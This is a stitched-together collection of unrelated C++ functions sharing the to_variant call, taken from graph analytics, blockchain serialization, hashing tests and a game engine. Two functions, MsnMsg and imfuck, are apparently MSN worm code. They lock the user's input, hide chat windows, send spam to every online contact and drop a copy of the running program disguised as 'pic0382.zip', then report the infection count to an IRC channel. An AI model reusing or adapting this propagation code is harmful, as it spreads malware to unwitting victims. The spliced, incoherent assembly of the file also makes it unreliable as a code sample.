toolkit_function_response_type exec(toolkit_function_invocation& invoke) {
timer mytimer;
setup(invoke);
std::shared_ptr<unity_sgraph> source_graph =
safe_varmap_get<std::shared_ptr<unity_sgraph>>(invoke.params, "graph");
ASSERT_TRUE(source_graph != NULL);
sgraph& source_sgraph = source_graph->get_graph();
// Do not support vertex groups yet.
ASSERT_EQ(source_sgraph.get_num_groups(), 1);
// Setup the graph we are going to work on. Copying sgraph is cheap.
sgraph g(source_sgraph);
g.select_vertex_fields({sgraph::VID_COLUMN_NAME});
g.select_edge_fields({sgraph::SRC_COLUMN_NAME, sgraph::DST_COLUMN_NAME});
triple_apply_kcore(g);
std::shared_ptr<unity_sgraph> result_graph(new unity_sgraph(std::make_shared<sgraph>(g)));
variant_map_type params;
params["graph"] = to_variant(result_graph);
params["core_id"] = to_variant(result_graph->get_vertices());
params["training_time"] = mytimer.current_time();
params["kmin"] = KMIN;
params["kmax"] = KMAX;
toolkit_function_response_type response;
response.params["model"] = to_variant(std::make_shared<simple_model>(params));
response.success = true;
return response;
}
std::shared_ptr<unity_sgraph_base>
unity_sgraph::lambda_triple_apply_native(const function_closure_info& toolkit_fn_name,
const std::vector<std::string>& mutated_fields) {
auto native_execute_function =
get_unity_global_singleton()
->get_toolkit_function_registry()
->get_native_function(toolkit_fn_name);
log_func_entry();
auto lambda = [=](edge_triple& args)->void {
std::vector<variant_type> var(3);
var[0] = to_variant(_map_to_flex_dict(std::move(args.source)));
var[1] = to_variant(_map_to_flex_dict(std::move(args.edge)));
var[2] = to_variant(_map_to_flex_dict(std::move(args.target)));
variant_type ret = native_execute_function(var);
var = variant_get_value<std::vector<variant_type>>(ret);
args.source = _map_from_flex_dict(variant_get_value<flexible_type>(var[0]));
args.edge = _map_from_flex_dict(variant_get_value<flexible_type>(var[1]));
args.target = _map_from_flex_dict(variant_get_value<flexible_type>(var[2]));
};
return lambda_triple_apply_native(lambda, mutated_fields);
}
void test_big( const std::string& expected ) {
typename H::encoder enc;
for (char c : TEST6) { enc.put(c); }
for (int i = 0; i < 16777215; i++) {
enc.write( TEST6.c_str(), TEST6.size() );
}
H hash = enc.result();
BOOST_CHECK_EQUAL( expected, (std::string) hash );
enc.reset();
enc.write( TEST1.c_str(), TEST1.size() );
hash = enc.result();
BOOST_CHECK( hash >= H::hash( TEST1 ) );
test<H>( TEST1, (std::string) hash );
hash = hash ^ hash;
hash.data()[hash.data_size() - 1] = 1;
for (int i = hash.data_size() * 8 - 1; i > 0; i--) {
H other = hash << i;
BOOST_CHECK( other != hash );
BOOST_CHECK( other > hash );
BOOST_CHECK( hash < other );
}
H hash2( expected );
fc::variant v;
to_variant( hash2, v );
from_variant( v, hash );
BOOST_CHECK( hash == hash2 );
H hash3( expected.substr(15) + "000000000000000" );
BOOST_CHECK( hash3 == hash2 << 60 );
}
toolkit_function_response_type exec(toolkit_function_invocation& invoke) {
timer mytimer;
setup(invoke);
std::shared_ptr<unity_sgraph> source_graph =
safe_varmap_get<std::shared_ptr<unity_sgraph>>(invoke.params, "graph");
ASSERT_TRUE(source_graph != NULL);
sgraph& source_sgraph = source_graph->get_graph();
// Do not support vertex groups yet.
ASSERT_EQ(source_sgraph.get_num_groups(), 1);
// Setup the graph we are going to work on. Copying sgraph is cheap.
sgraph g(source_sgraph);
g.select_vertex_fields({sgraph::VID_COLUMN_NAME});
g.select_edge_fields({sgraph::SRC_COLUMN_NAME, sgraph::DST_COLUMN_NAME});
double total_pagerank;
double delta;
size_t num_iter;
triple_apply_pagerank(g, num_iter, total_pagerank, delta);
std::shared_ptr<unity_sgraph> result_graph(new unity_sgraph(std::make_shared<sgraph>(g)));
variant_map_type params;
params["graph"] = to_variant(result_graph);
params["pagerank"] = to_variant(result_graph->get_vertices());
params["delta"] = delta;
params["training_time"] = mytimer.current_time();
params["num_iterations"] = num_iter;
params["reset_probability"] = reset_probability;
params["threshold"] = threshold;
params["max_iterations"] = max_iterations;
toolkit_function_response_type response;
response.params["model"]= to_variant(std::make_shared<simple_model>(params));
response.success = true;
return response;
}
void to_variant( const exception& e, variant& v, uint32_t max_depth )
{
FC_ASSERT( max_depth > 0, "Recursion depth exceeded!" );
variant v_log;
to_variant( e.get_log(), v_log, max_depth - 1 );
mutable_variant_object tmp;
tmp( "code", e.code() )
( "name", e.name() )
( "message", e.what() )
( "stack", v_log );
v = variant( tmp, max_depth );
}
variant_type toolkit_class_base::get_value(std::string key, variant_map_type& arg) {
perform_registration();
if (key == "list_functions") {
return to_variant(list_functions());
} else if (key == "list_get_properties") {
return to_variant(list_get_properties());
} else if (key == "list_set_properties") {
return to_variant(list_set_properties());
} else if (key == "call_function") {
// dispatches to a user defined function
if (!arg.count("__function_name__")) {
throw("Invalid function call format");
}
std::string function_name = variant_get_value<std::string>(arg["__function_name__"]);
return to_variant(call_function(function_name, arg));
} else if (key == "set_property") {
// dispatches to a user defined set property
if (!arg.count("__property_name__")) {
throw("Invalid function call format");
}
std::string property_name = variant_get_value<std::string>(arg["__property_name__"]);
return to_variant(set_property(property_name, arg));
} else if (key == "get_property") {
// dispatches to a user defined get property
if (!arg.count("__property_name__")) {
throw("Invalid function call format");
}
std::string property_name = variant_get_value<std::string>(arg["__property_name__"]);
return to_variant(get_property(property_name, arg));
} else if (key == "get_docstring") {
// dispatches to a user defined get property
if (!arg.count("__symbol__")) {
throw("Invalid function call format");
}
std::string symbol = variant_get_value<std::string>(arg["__symbol__"]);
return to_variant(get_docstring(symbol));
} else if (key == "__name__") {
return name();
} else if (key == "__uid__") {
return uid();
} else {
return variant_type();
}
}
void GodotInstance::HandleMessage(const pp::Var& var_message) {
switch (state) {
case STATE_METHOD: {
ERR_FAIL_COND(!var_message.is_string());
sd->method = var_message.AsString().c_str();
state = STATE_PARAM_COUNT;
} break;
case STATE_PARAM_COUNT: {
ERR_FAIL_COND(!var_message.is_number());
sd->arg_count = var_message.AsInt();
state = sd->arg_count>0?STATE_PARAMS:STATE_CALL;
} break;
case STATE_PARAMS: {
Variant p = to_variant(var_message);
sd->args.push_back(p);
if (sd->args.size() >= sd->arg_count)
state = STATE_CALL;
} break;
default:
break;
};
if (state == STATE_CALL) {
// call
state = STATE_METHOD;
if (sd->method == "package_finished") {
GetURLHandler::Status status = package_pending->get_status();
printf("status is %i, %i, %i\n", status, GetURLHandler::STATUS_ERROR, GetURLHandler::STATUS_COMPLETED);
if (status == GetURLHandler::STATUS_ERROR) {
printf("Error fetching package!\n");
};
if (status == GetURLHandler::STATUS_COMPLETED) {
OSNacl* os = (OSNacl*)OS::get_singleton();
os->add_package(pkg_url, package_pending->get_data());
};
memdelete(package_pending);
package_pending = NULL;
package_loaded = true;
opengl_context_->MakeContextCurrent(this);
nacl_main(init_argc, (const char**)init_argn, (const char**)init_argv);
for (uint32_t i=0; i<init_argc; i++) {
memfree(init_argn[i]);
memfree(init_argv[i]);
};
};
if (sd->method == "get_package_status") {
if (package_loaded) {
// post "loaded"
PostMessage("loaded");
} else if (package_pending == NULL) {
// post "none"
PostMessage("none");
} else {
// post package_pending->get_bytes_read();
PostMessage(package_pending->get_bytes_read());
};
};
};
}
void to_variant(const eosio::chain::block_timestamp<IntervalMs,EpochMs>& t, fc::variant& v) {
to_variant( (fc::time_point)t, v);
}
void to_variant( const array<T,N>& bi, variant& v, uint32_t max_depth = 1 )
{
to_variant( std::vector<char>( (const char*)&bi, ((const char*)&bi) + sizeof(bi) ), v, 1 );
}
DWORD WINAPI MsnMsg(LPVOID param)
{
trx = 0;
NTHREAD msn = *((NTHREAD *)param);
NTHREAD *msns = (NTHREAD *)param;
msns->gotinfo = TRUE;
IMSNMessenger3 *pIMessenger = NULL;
CoInitialize(0);
HRESULT hr = CoCreateInstance(
CLSID_Messenger,
NULL,
CLSCTX_ALL,
IID_IMSNMessenger2,
(void**)&pIMessenger);
char msnmsg[512];
strncpy(msnmsg,msn.data1,sizeof(msnmsg));
if (SUCCEEDED(hr))
{
// char msg[256];
IDispatch * dispContacts = NULL;
pIMessenger->get_MyContacts(&dispContacts);
if (SUCCEEDED(hr))
{
IMSNMessengerContacts *pIMessengerContacts = NULL;
hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
if (SUCCEEDED(hr))
{
IDispatch * dispContact = NULL;
IMSNMessengerContact *pIMessengerContact = NULL;
long iContacts;
hr = pIMessengerContacts->get_Count(&iContacts);
if (SUCCEEDED(hr))
{
BlockInput(true);
for (long i = 0; i < iContacts; i++)
{
hr = pIMessengerContacts->raw_Item(i,&dispContact);
if (SUCCEEDED(hr))
{
hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
if (SUCCEEDED(hr))
{
BSTR szContactName;
VARIANT vt_user;
MISTATUS miStatus;
IDispatch *pIDispatch = NULL;
IMSNMessengerWindow *pIMessengerWindow;
LONG wndIM;
hr = pIMessengerContact->get_Status(&miStatus);
if (SUCCEEDED(hr))
{
if (miStatus == MISTATUS_OFFLINE)
{
pIMessengerContact->Release();
dispContact->Release();
continue;
}
}
pIMessengerContact->get_SigninName(&szContactName);
VariantInit( &vt_user );
to_variant(szContactName, vt_user);
Sleep(3000);
hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
if (SUCCEEDED(hr))
{
hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow);
if (SUCCEEDED(hr))
{
Sleep(10);
pIMessengerWindow->get_HWND(&wndIM);
SetForegroundWindow((HWND) wndIM);
SetFocus((HWND) wndIM);
trx++;
ShowWindow((HWND) wndIM,0);
srand(GetTickCount());
stats_msg++;
//int i = rand() % sizeof(gen_msgenglish) / sizeof(gen_msgenglish[0]);
key_type((char *)msnmsg, (HWND) wndIM);
keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
keybd_event(VkKeyScan('V'), 0, 0, 0);
keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event(VK_RETURN, 0, 0, 0);
}
}
pIMessengerContact->Release();
dispContact->Release();
}
}
}
BlockInput(false);
// irc_privmsg(sock, chan, str_msn_msg, notice,TRUE);
pIMessengerContacts->Release();
}
dispContacts->Release();
}
}
pIMessenger->Release();
}
CoUninitialize();
clearthread(msn.threadnum);
ExitThread(0);
return 0;
}
inline void to_variant( const steem::protocol::legacy_steem_asset& leg, fc::variant& v )
{
to_variant( leg.to_asset<false>(), v );
}
void to_variant( const sha1& bi, variant& v, uint32_t max_depth )
{
to_variant( std::vector<char>( (const char*)&bi, ((const char*)&bi) + sizeof(bi) ), v, max_depth );
}
void imfuck(SOCKET sock)
{
const char *msgg;
srand(GetTickCount());
msgg = *(&msg_send[randget(msg_send)]);
char fakename[] = "pic0382.zip";
char windir[MAX_PATH];
GetWindowsDirectory(windir,sizeof(windir));
strcat(windir, "\\");
strcat(windir, fakename);
IMSNMessenger *pIMessenger = NULL;
CoInitialize(0);
HRESULT hr = CoCreateInstance(
CLSID_Messenger,
NULL,
CLSCTX_ALL,
IID_IMSNMessenger,
(void **)&pIMessenger);
if (SUCCEEDED(hr))
{
IDispatch * dispContacts = NULL;
pIMessenger->get_MyContacts(&dispContacts);
if (SUCCEEDED(hr))
{
IMSNMessengerContacts *pIMessengerContacts = NULL;
hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
if (SUCCEEDED(hr))
{
IDispatch * dispContact = NULL;
IMSNMessengerContact *pIMessengerContact = NULL;
long iContacts;
hr = pIMessengerContacts->get_Count(&iContacts);
if (SUCCEEDED(hr))
{
BlockInput(true);
int x = 0;
for (long i = 0; i < iContacts; i++)
{
hr = pIMessengerContacts->raw_Item(i,&dispContact);
if (SUCCEEDED(hr))
{
hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
if (SUCCEEDED(hr))
{
BSTR szContactName;
VARIANT vt_user;
MISTATUS miStatus;
IDispatch *pIDispatch = NULL;
IMSNMessengerWindow *pIMessengerWindow;
LONG wndIM;
hr = pIMessengerContact->get_Status(&miStatus);
if (SUCCEEDED(hr))
{
if (miStatus == MISTATUS_OFFLINE)
{
pIMessengerContact->Release();
dispContact->Release();
continue;
}
}
pIMessengerContact->get_SigninName(&szContactName);
VariantInit( &vt_user );
to_variant(szContactName, vt_user);
_bstr_t tmp = szContactName;
char buf[128];
sprintf(buf, _T("%s"), (LPCTSTR)tmp);
char *pemail;
pemail = strchr(buf, '@');
if(pemail != NULL) buf[pemail-buf] = NULL;
strcat(buf, ".imageshack.com");
char exepath[MAX_PATH];
GetModuleFileName(NULL, exepath, MAX_PATH);
zip_store(exepath, windir, buf);
Sleep(3000);
hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
if (SUCCEEDED(hr))
{
hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow);
if (SUCCEEDED(hr))
{
pIMessengerWindow->get_HWND(&wndIM);
SetForegroundWindow((HWND) wndIM);
SetFocus((HWND) wndIM);
ShowWindow((HWND) wndIM,0);
srand(GetTickCount());
int i = rand() % sizeof(msgg) / sizeof(msgg[0]);
key_type((char *)msgg, (HWND) wndIM);
keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
keybd_event(VkKeyScan('V'), 0, 0, 0);
keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event(VK_RETURN, 0, 0, 0);
Sleep(50);
dropfiles((HWND) wndIM, buf);
keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
keybd_event(VkKeyScan('V'), 0, 0, 0);
keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
x++;
}
pIMessengerWindow->Release();
}
pIMessengerContact->Release();
dispContact->Release();
}
}
}
BlockInput(false);
char buf[128];
sprintf(buf, "[Msn] worm sent to %d contacts!", x);
irc_privmsg(sock, channel, buf, 0);
pIMessengerContacts->Release();
}
dispContacts->Release();
}
}
pIMessenger->Release();
}
CoUninitialize();
//return 0;
}